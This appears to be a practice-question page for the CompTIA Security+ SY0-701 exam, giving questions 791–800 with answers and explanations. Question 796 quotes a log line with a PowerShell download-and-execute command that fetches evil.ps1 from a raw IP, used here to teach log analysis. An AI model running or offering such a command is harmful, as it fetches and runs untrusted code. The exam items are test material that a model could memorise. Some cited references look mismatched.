CompTIA SY0-701 Online Practice Questions and Exam Preparation

CompTIA SY0-701 Online Questions & Answers

• Question 791:

  Which of the following would be best suited for constantly changing environments?

  A. RTOS
  B. Containers
  C. Embedded systems
  D. SCADA
  B. Containers

  ---

  Explanation

  Containers are a method of virtualization that allows applications to run in isolated environments with their own dependencies, libraries, and configurations. Containers are best suited for constantly changing environments because they are lightweight, portable, scalable, and easy to deploy and update. Containers can also support microservices architectures, which enable faster and more frequent delivery of software features.

  References:

  CompTIA Security+ Study Guide: Exam SY0-701, 9th Edition, Chapter 10: Mobile Device Security, page 512

• Question 792:

  Which of the following would most likely be a hacktivist's motive?

  A. Financial gain
  B. Espionage
  C. Philosophical beliefs
  D. Revenge
  C. Philosophical beliefs

  ---

  Explanation

  Hacktivists are typically driven by ideological or political motivations, using hacking to promote or protest specific philosophical beliefs or causes.

• Question 793:

  Which of the following is most likely a security concern when installing and using low-cost IoT devices in infrastructure environments?

  A. Country of origin
  B. Device responsiveness
  C. Ease of deployment
  D. Storage of data
  D. Storage of data

• Question 794:

  A company experiences a data loss event due to a stolen laptop. In order to prevent future similar events, a security analyst must implement a scalable solution to ensure all data on company laptops remains secure in the event of theft or loss.

  Which of the following should the analyst do next?

  A. Configure the HSM for each device and store recovery keys centrally.
  B. Implement LAPS to ensure secure password rotation for administrative accounts.
  C. Use an MDM platform to manage the devices and force security configurations.
  D. Ensure that each laptop has the secure enclave properly initialized in the BIOS.
  C. Use an MDM platform to manage the devices and force security configurations.

  ---

  Explanation

  The best answer is C. Use an MDM platform to manage the devices and force security configurations. The question asks for a scalable solution to protect data on company laptops if they are stolen or lost. An MDM (Mobile Device Management) platform is the best choice because it allows centralized administration of many endpoints and can enforce security controls across all laptops, such as: full-disk encryption requirements screen lock policies remote wipe capabilities compliance checks device configuration enforcement.

  This makes MDM the most scalable and manageable approach for protecting a fleet of laptops. Why the other options are incorrect:

  A. Configure the HSM for each device and store recovery keys centrally.This is not the most practical or scalable answer for standard laptops, and HSMs are not typically configured individually this way for endpoint theft prevention.

  B.

  Implement LAPS to ensure secure password rotation for administrative accounts.LAPS helps secure local administrator passwords, but it does not directly protect data at rest on a stolen laptop. D. Ensure that each laptop has the secure enclave properly initialized in the BIOS.Hardware-based protections can help, but this is not the best broad, centrally managed, scalable control compared with MDM-enforced policies. From a Security+ perspective, the main protection against data loss from stolen laptops is usually centralized device management with enforced encryption and security controls, making C the best answer.

• Question 795:

  A security analyst needs to propose a remediation plan for each item in a risk register. The item with the highest priority requires employees to have separate logins for SaaS solutions and different password complexity requirements for each solution.

  Which of the following implementation plans will most likely resolve this security issue?

  A. Creating a unified password complexity standard
  B. Integrating each SaaS solution with the Identity provider
  C. Securing access to each SaaS by using a single wildcard certificate
  D. Configuring geofencing on each SaaS solution
  B. Integrating each SaaS solution with the Identity provider

  ---

  Explanation

  Integrating each SaaS solution with an Identity Provider (IdP) is the most effective way to address the security issue. This approach allows for Single Sign-On (SSO) capabilities, where users can access multiple SaaS applications with a single set of credentials while maintaining strong password policies across all services. It simplifies the user experience and ensures consistent security enforcement across different SaaS platforms.

  References:

  CompTIA Security+ SY0-701 Course Content: Domain 05 Security Program Management and Oversight.

  CompTIA Security+ SY0-601 Study Guide: Chapter on Identity and Access Management.

• Question 796:

  A security analyst reviews the following endpoint log: powershell -exec bypass -Command " IEX. (New-Object Net.WebClient).

  DownloadString(http://176.30.40.50/evil.ps1 " ) Which of the following logs will help confirm an established connection to IP address 176.30.40.50?

  A. System event logs
  B. EDR logs
  C. Firewall logs
  D. Application logs
  C. Firewall logs

  ---

  Explanation

  The best answer is C. Firewall logs. The PowerShell command shown is suspicious because it uses: -exec bypass to bypass PowerShell execution policy IEX (Invoke-Expression) to execute downloaded content in memory

  Net.WebClient.DownloadString() to retrieve a remote script from the IP address 176.30.40.50 The question asks which logs will help confirm an established connection to that IP address. The best source for confirming that network communication actually occurred is firewall logs, because they record allowed and blocked inbound or outbound network connections between systems and remote IP addresses. Why the other options are incorrect:

  A. System event logsThese may show local operating system events, but they are not the best source for confirming a network connection to a specific external IP.

  B. EDR logsEDR logs may show suspicious PowerShell execution and related behavior, and in some environments they may also show network activity. However, when the question specifically asks to confirm an established connection to a particular IP, firewall logs are the most direct and standard answer.

  D. Application logsApplication logs generally track application-specific events and are not the best source for validating outbound network connections to a suspicious IP. From a Security+ perspective, suspicious script execution should be correlated with network logs to validate command-and-control or malware download activity. That makes firewall logs the best choice.

• Question 797:

  Which of the following is the fastest and most cost-effective way to confirm a third-party supplier's compliance with security obligations?

  A. Attestation report
  B. Third-party audit
  C. Vulnerability assessment
  D. Penetration testing
  A. Attestation report

• Question 798:

  An alert references attacks associated with a zero-day exploit. An analyst places a bastion host in the network to reduce the risk of the exploit.

  Which of the following types of controls is the analyst implementing?

  A. Compensating
  B. Detective
  C. Operational
  D. Physical
  A. Compensating

• Question 799:

  A systems administrator creates a script that validates OS version, patch levels, and installed applications when users log in.

  Which of the following examples best describes the purpose of this script?

  A. Resource scaling
  B. Policy enumeration
  C. Baseline enforcement
  D. Guardrails implementation
  C. Baseline enforcement

  ---

  Explanation

  Baseline enforcement ensures that all systems adhere to predefined security configurations, such as approved OS versions and patch levels, improving compliance and reducing vulnerabilities.

  References:

  CompTIA Security+ SY0-701 Study Guide, Domain 4:Security Operations, Section: "System Baselines and Monitoring".

• Question 800:

  An unknown source has attacked an organization's network multiple times. The organization has a firewall but no other source of protection against these attacks.

  Which of the following is the best security item to add?

  A. SIEM
  B. Load balancer
  C. UTM
  D. IPS
  D. IPS

  ---

  Explanation

  An Intrusion Prevention System (IPS) is the most effective addition when an organization already has a firewall but continues to face repeated external attacks. Security+ SY0-701 states that an IPS operates inline and automatically blocks malicious traffic in real time based on signatures, anomaly behavior, or heuristics. Whereas a firewall filters traffic by rules, an IPS detects and prevents deeper-level threats such as exploits, malware, and command-and-control attempts.

  A UTM (C) includes IPS features, but it is typically used to replace a firewall with an all-in-one appliance. The question states the organization already has a firewall, so the most efficient addition is a standalone IPS. A SIEM (A) aggregates and analyzes logs but does not block attacks. A load balancer (B) distributes traffic for performance-not security.

  Thus, the best item to stop active inbound attacks is D: IPS.